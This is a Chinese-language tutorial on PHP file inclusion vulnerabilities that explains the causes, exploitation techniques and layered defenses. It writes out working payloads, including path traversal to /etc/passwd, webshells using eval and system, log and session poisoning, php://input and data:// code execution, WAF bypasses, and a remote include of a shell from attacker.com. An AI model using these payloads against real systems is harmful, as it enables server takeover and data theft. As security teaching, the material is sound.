PHP文件包含漏洞:原理、利用与防御全解析
1. 项目概述文件包含漏洞的本质与危害干了这么多年Web安全PHP文件包含漏洞File Inclusion Vulnerability是我见过最“经典”也最容易被开发者忽视的漏洞之一。说它经典是因为其原理简单直接利用方式却花样百出说它容易被忽视是因为很多开发者觉得“不就是个include嘛能出啥大问题”。恰恰是这种轻视让无数网站门户大开。简单来说文件包含漏洞的核心就是程序在动态包含文件时没有对用户传入的文件路径或名称进行严格的过滤和校验。攻击者通过构造恶意的参数可以让程序去包含并执行一个本不该被包含的文件。这个被包含的文件可以是服务器本地的敏感配置文件如/etc/passwd也可以是远程服务器上的Webshell甚至是通过PHP内置的各种“伪协议”构造的恶意数据流。一旦利用成功轻则敏感信息泄露重则服务器被完全控制沦为“肉鸡”。这个漏洞的可怕之处在于它的“无差别攻击”特性。无论被包含的文件原本是.txt、.log还是图片只要其内容被include、require等函数加载其中的PHP代码就会被解析执行。这就好比你家大门include函数的锁坏了小偷不仅能进来还能把你家任何一件家具文件变成打开保险箱的钥匙执行代码。对于刚入门安全测试的朋友或是正在开发PHP项目的程序员彻底理解这个漏洞的成因、利用手法和防御方法是构建安全意识的必修课。2. 漏洞原理深度剖析从函数到利用链要理解漏洞必须先理解PHP是如何“包含”文件的。这不是一个简单的文件读取操作而是一个代码执行的过程。2.1 核心“元凶”四个包含函数PHP提供了四个用于文件包含的函数它们的行为略有不同但在漏洞利用上“效果”一致include(): 包含并运行指定文件。如果包含失败如文件不存在会发出一个警告E_WARNING但脚本会继续执行。require(): 包含并运行指定文件。如果包含失败会产生一个致命错误E_COMPILE_ERROR并停止脚本执行。include_once()/require_once(): 功能与前两者相同但会检查该文件是否已经被包含过如果是则不会再次包含。这在防止函数重定义时有用但对安全防护无额外帮助。关键点在于这些函数在设计上是为了提高代码的复用性和模块化。例如将数据库连接配置写在config.php中然后在每个需要数据库操作的页面开头include(‘config.php’)。问题出在这个被包含的文件路径如果可以由用户控制比如通过$_GET、$_POST等超全局变量传入漏洞就产生了。2.2 漏洞产生的典型代码模式最经典的漏洞代码长这样?php $file $_GET[file]; // 用户直接控制文件路径 include($file . .php); // 拼接后缀但过滤不严 ?第一行程序直接从URL参数file中获取值赋值给变量$file。这里没有任何过滤。第二行虽然拼接了.php后缀试图限制只能包含PHP文件但我们将看到这种防御形同虚设。攻击者可以这样访问http://victim.com/index.php?file../../../../etc/passwd。此时$file的值为../../../../etc/passwd拼接后变成../../../../etc/passwd.php。服务器会尝试回溯目录去寻找并包含这个根本不存在的.php文件。然而在包含操作发生前PHP会尝试打开这个路径。如果文件存在且可读即使最终包含失败因为/etc/passwd不是有效的PHP文件在文件打开阶段其内容也可能被部分输出或通过错误信息泄露。更危险的是如果服务器同时存在文件上传漏洞攻击者上传一个内容为?php phpinfo();?的shell.jpg那么通过包含?fileuploads/shell.jpg其中的PHP代码就会被执行。2.3 本地与远程漏洞的两个维度根据包含文件的来源漏洞可分为两类本地文件包含LFI包含的是服务器本地文件系统上的文件。这是最常见的情况。利用LFI攻击者可以读取系统敏感文件密码、配置、包含上传的恶意文件或者包含如日志、Session等进程生成的文件来执行代码。远程文件包含RFI包含的是通过HTTP、FTP等协议从远程服务器获取的文件。这种危害更大相当于允许攻击者在自己的服务器上托管恶意代码然后让受害服务器去下载并执行。但RFI需要两个关键的PHP配置项开启才能生效allow_url_fopen On和allow_url_include On。在现代PHP版本和安全意识下默认配置通常已关闭allow_url_include使得纯RFI较为少见但与之相关的伪协议利用依然活跃。3. 利用手法实战从简单读取到代码执行理解了原理我们来看看攻击者具体有哪些“武器”。我会结合自己的测试经验告诉你哪些手法现在依然有效哪些已经随着PHP版本更新而失效。3.1 无限制本地文件包含LFI这是最理想的情况代码没有任何过滤比如include($_GET[‘file’]);。敏感信息读取直接进行路径遍历。?file../../../../etc/passwd(Linux)?file../../../../windows/system32/drivers/etc/hosts(Windows)?file./config/database.php(读取项目配置文件可能含数据库密码)配合文件上传GetShell这是LFI最常导致的严重后果。假设网站有头像上传功能虽然校验了文件类型但攻击者可以上传一个包含Webshell代码的图片文件如shell.jpg内容为?php eval($_POST[‘cmd’]);?。然后通过LFI包含这个图片?file./uploads/shell.jpg图片中的PHP代码就会被执行。实操心得在实际渗透测试中遇到严格图片校验时可以尝试使用Exif工具将PHP代码写入图片的EXIF信息中有时能绕过简单的文件头校验。命令如exiftool -Comment‘?php system($_GET[“c”]); ?’ shell.jpg。3.2 有限制LFI的绕过技巧现实中的代码多少会有点过滤比如前面提到的加后缀.php。以下是几种经典的绕过方法3.2.1 %00空字节截断已失效但须了解在PHP版本 5.3.4且magic_quotes_gpc Off时可以利用空字节%00来截断后面的字符串。示例?file../../../../etc/passwd%00原理%00在C语言和早期PHP中表示字符串结束。PHP在拼接$file . ‘.php’时遇到%00会认为字符串已结束后面的.php被忽略。但在PHP 5.3.4之后此特性被修复%00会被直接拒绝此方法基本退出历史舞台。3.2.2 路径长度截断操作系统对文件路径有最大长度限制Windows 260字符Linux 4096字符。超出部分会被截断。示例?filetest.txt/././././././...重复非常多次原理攻击者传入超长路径使最终拼接出的路径超过系统限制系统自动截断末尾部分包括我们讨厌的.php后缀。这种方法在现代Web环境中成功率也在下降因为Web服务器如Nginx可能先于操作系统对URL路径长度进行限制。3.2.3 点号截断仅Windows这是路径长度截断在Windows系统下的一个变种利用Windows下目录路径中.的特殊性。示例?filetest.txt........................................................................................................................................................................................................................................................................................................................原理Windows API在处理超长的.时会出现异常导致后缀被截断。此方法仅适用于Windows服务器且在新版本PHP中同样受到限制。注意事项上述三种传统截断方法在当今的渗透测试中更多是作为“历史知识”存在。面对现代PHP环境5.3.4和配置它们往往无效。我们的重点应该转向更通用的技巧和伪协议。3.3 利用环境文件日志、Session与Proc当无法直接上传文件时聪明的攻击者会利用服务器上那些“可写”且“会被包含”的文件。这些文件就像是攻击者的“便签本”他们先把代码“写”上去再让包含函数去“读”。3.3.1 日志文件包含Web服务器如Apache, Nginx会记录所有访问日志。如果攻击者能预测日志路径如默认的/var/log/apache2/access.log就可以将PHP代码作为HTTP请求的一部分写入日志然后包含该日志文件。利用步骤探测日志路径。可通过报错信息、phpinfo()页面或常见默认路径猜测。发送一个包含PHP代码的HTTP请求。例如直接访问http://victim.com/?php phpinfo();?。这个畸形的URL会被记录到访问日志中。使用LFI包含日志文件?file../../../var/log/apache2/access.log。难点与技巧浏览器或URL编码会破坏代码。例如、、空格会被编码。通常需要借助Burp Suite这类工具直接发送原始HTTP请求避免编码。此外日志文件通常很大包含执行可能导致超时最好先写入一个简单的phpinfo()或短小的Webshell代码。3.3.2 Session文件包含PHP的Session机制会将用户会话数据存储在服务器的一个文件中如/tmp/sess_[session_id]。如果Session内容用户可控且Session文件路径可知就能构成利用链。利用条件Session存储路径已知通过phpinfo()中的session.save_path获取或尝试默认路径。Session内容$_SESSION变量用户可控例如程序将$_GET[‘username’]直接存入$_SESSION[‘username’]。示例// vuln.php session_start(); $_SESSION[‘username’] $_GET[‘username’]; // 用户可控攻击者访问http://victim.com/vuln.php?username?php phpinfo();?这个PHP代码会被存入Session文件如/tmp/sess_abc123。 然后利用另一个存在LFI的页面?file../../../tmp/sess_abc123即可执行phpinfo()。3.3.3 /proc/self/environ 包含在Linux系统中/proc/self/environ文件包含了当前进程的环境变量。其中HTTP_USER_AGENT是由客户端浏览器发送的因此攻击者可以控制。利用步骤修改你的HTTP请求的User-Agent头为PHP代码User-Agent: ?php system(‘id’); ?利用LFI包含?file../../../proc/self/environ如果包含成功id命令的结果可能会输出在页面上。限制这种方法需要/proc文件系统可读且PHP有权限读取该文件。在现代容器化或严格权限控制的环境中可能不可用。3.4 PHP伪协议文件包含的“瑞士军刀”PHP伪协议是文件包含漏洞利用中最强大、最灵活的部分。它们不是用来访问具体的文件而是访问各种“数据流”或“封装器”。3.4.1 php://filter最常用的信息读取器这个协议不执行代码主要用于读取服务器上已有文件的源代码特别是在无法直接访问源码时比如.php文件被解析了。语法php://filter/readconvert.base64-encode/resource目标文件示例?filephp://filter/readconvert.base64-encode/resourceindex.php作用将index.php文件的内容经过Base64编码后输出。攻击者拿到Base64字符串后解码即可获得完整的源代码。它不需要allow_url_include开启只需要allow_url_fopenOn默认通常是On因此利用门槛极低。为什么用Base64因为直接读取.php文件其中的PHP代码会被执行我们看不到源码。通过Base64编码代码被转换成文本就能安全地“看”到了。这是审计代码、寻找其他漏洞如数据库密码、逻辑漏洞的利器。3.4.2 php://input执行任意代码这个协议允许你访问请求的原始POST数据并将其作为PHP代码执行。条件需要allow_url_includeOn。利用方式发送一个POST请求。URL参数为?filephp://input请求体Body中直接写入要执行的PHP代码?php system(‘ls -la’); ?示例使用cURL命令curl -X POST http://victim.com/vuln.php?filephp://input --data “?php echo ‘Hello, Hack!’; ?”服务器端的include函数会包含php://input流而该流的内容就是你POST过去的代码于是echo语句就被执行了。这相当于一个直接的代码执行入口危害极大。3.4.3 data://数据流直接执行将一段定义好的数据作为文件流来包含。条件需要allow_url_includeOn和allow_url_fopenOn。语法data://text/plain, 你的代码或data://text/plain;base64,Base64编码的代码示例明文?filedata://text/plain,?php phpinfo();?Base64编码避免特殊字符问题?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8特点非常直接无需任何外部文件直接将代码作为参数传递并执行。3.4.4 phar:// 与 zip://压缩包绕过这两个协议用于处理压缩文件。它们的神奇之处在于即使文件后缀是.jpg或.png只要其内部是ZIP压缩格式它们就能解压并访问其中的文件。这常用于绕过文件上传校验。phar://?filephar://上传的图片文件/phar内部的文件示例攻击者将Webshellshell.php压缩成shell.zip然后改名为shell.jpg上传。利用LFI?filephar://./uploads/shell.jpg/shell.phpzip://?filezip://[压缩文件绝对路径]#[内部文件]示例?filezip:///var/www/html/uploads/shell.jpg%23shell.php(注意#需要URL编码为%23)条件需要allow_url_includeOn。phar需要PHP5.3.0。3.4.5 file:// 与 expect://file://用于访问本地文件系统是php://filter的替代但更直接。如?filefile:///etc/passwd。它通常不需要特殊配置。expect://用于执行系统命令如?fileexpect://ls。但这个协议需要安装并启用PECL的expect扩展在绝大多数生产环境中并未安装因此实际利用价值很低。4. 漏洞挖掘、利用与防御实战指南知道了所有攻击方法我们如何系统地发现、验证和修复它4.1 漏洞挖掘与测试流程信息收集寻找可能存在包含功能的参数。常见参数名如file,page,template,load,path,document等。观察URL模式如index.php?pageabout。初步测试尝试包含一个已知存在的文件。绝对路径?file/etc/passwd(Linux) 或?fileC:\windows\win.ini(Windows)。相对路径?file../../../../etc/passwd。如果页面返回了文件内容或文件不存在的错误与包含其他文件时不同则可能存在LFI。后缀绕过测试如果程序添加了后缀如.php。尝试空字节截断历史环境?file../../etc/passwd%00尝试路径截断?file../../etc/passwd././././.(或超长../)最有效尝试伪协议读取源码?filephp://filter/readconvert.base64-encode/resourceindex.php。这能绕过很多后缀限制。RFI测试尝试包含一个远程URL。?filehttp://attacker.com/shell.txt如果服务器开启了allow_url_include且请求发往了你的服务器可在自己服务器日志查看则存在RFI。升级利用如果确认LFI尝试结合其他漏洞或环境。检查是否有文件上传点尝试上传图片马并用LFI包含。尝试包含日志/var/log/apache2/access.log、Session文件通过phpinfo找路径、/proc/self/environ等。尝试使用php://input或data://协议执行代码。4.2 常见问题与排查技巧实录在实际测试和防御中你会遇到各种奇怪的情况。下面是我踩过的一些坑和总结的技巧问题1包含文件后页面空白或报错但不确定是否包含成功。排查包含一个肯定会触发Warning或Notice的文件。例如包含一个不存在的文件或者包含一个内容为?php echo “TEST”;?的文本文件。观察页面是否有“TEST”输出或者错误信息是否变化。使用php://filter读取一个已知的小文件如robots.txt的base64看输出是否变化是最稳妥的方法。问题2使用php://input执行命令没有回显。技巧尝试将命令执行的结果写入一个Web可访问的文件。POST Body内容为?php file_put_contents(‘/tmp/result.txt’, shell_exec(‘ls -la’)); ?。然后尝试通过其他方式如目录遍历访问/tmp/result.txt查看结果。或者使用system(‘ls -la /tmp/result.txt’)。问题3日志文件包含失败可能是权限问题或日志路径不对。技巧Linux下尝试常见日志路径/var/log/apache2/access.log,/var/log/apache/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。使用phpinfo()页面是获取绝对路径的最佳方式。同时确保你写入日志的Payload没有被Web服务器或WAF过滤掉、等符号。问题4Session文件包含中无法预测或获取Session ID。技巧如果程序在设置可控Session后立即跳转或使用了新的Session可以尝试利用Burp Suite的Repeater工具禁止请求跟随重定向并从响应头中提取Set-Cookie字段中的Session ID。或者如果程序存在XSS漏洞可以通过JavaScript获取用户的Session ID。问题5伪协议利用被WAF拦截。绕过技巧大小写混淆PHP://input,Php://Filter。多重编码对参数进行URL编码两次?filephp%253A//filter/...服务器解码一次后变成php%3A//...可能绕过简单匹配。使用其他协议如果php://被禁尝试data://或zip://。结合路径穿越?file./php://filter/...或?filephp:/./filter/...(某些环境下php:/会被归一化为php://)。4.3 彻底修复从代码到配置的防御体系修复文件包含漏洞必须从多个层面建立纵深防御。4.3.1 代码层修复治本之策白名单制度这是最有效的方法。如果只有固定的几个文件需要被包含使用白名单。$allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }严格过滤输入如果必须动态包含则对输入进行严格校验。$file $_GET[‘file’]; // 1. 移除目录遍历字符 $file str_replace(‘../’, ‘’, $file); $file str_replace(‘..\\’, ‘’, $file); // Windows // 2. 限制文件路径在特定目录内 $base_dir ‘/var/www/html/includes/’; $real_path realpath($base_dir . $file); // 3. 检查最终路径是否仍在安全目录内 if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘Invalid file path.’); }注意str_replace(‘../’, ‘’, $file)这种过滤可以被….//绕过移除../后变成../。应使用更严格的循环过滤或正则表达式。4.3.2 服务器配置层修复重要加固修改php.ini将allow_url_include设置为Off。这是关闭远程文件包含和危险伪协议如php://input,data://的关键。在绝大多数生产环境中没有任何理由需要开启此选项。设置open_basedir。将其限制在Web应用所需的目录范围内例如open_basedir /var/www/html/。这可以防止PHP脚本访问该目录树之外的文件极大地限制了LFI的危害范围。确保magic_quotes_gpc已弃用且关闭现代PHP默认如此但不要依赖它作为安全手段。Web服务器配置为Web服务进程如www-data, nginx用户设置严格的文件系统权限遵循最小权限原则。定期更新PHP、Web服务器及系统修复已知漏洞。4.3.3 架构与运维层建议禁用危险函数在php.ini的disable_functions中可以考虑禁用system,shell_exec,exec,passthru等函数即使Webshell被上传也能限制其执行命令的能力。部署Web应用防火墙WAF商业或开源的WAF可以识别和拦截常见的文件包含攻击Payload。安全开发培训让开发者理解“永远不要信任用户输入”这一铁律并在代码审查中重点关注文件操作、命令执行、数据库查询等敏感函数。文件包含漏洞就像PHP安全世界里的一扇“任意门”配置不当或代码疏忽就会让它通向服务器的核心地带。防御它没有银弹需要开发者、运维和安全人员共同在代码规范、服务器配置和日常监控上持续投入。对于安全研究者而言理解其背后的每一种利用技巧不仅能更好地进行渗透测试也能在设计系统时本能地避开这些陷阱。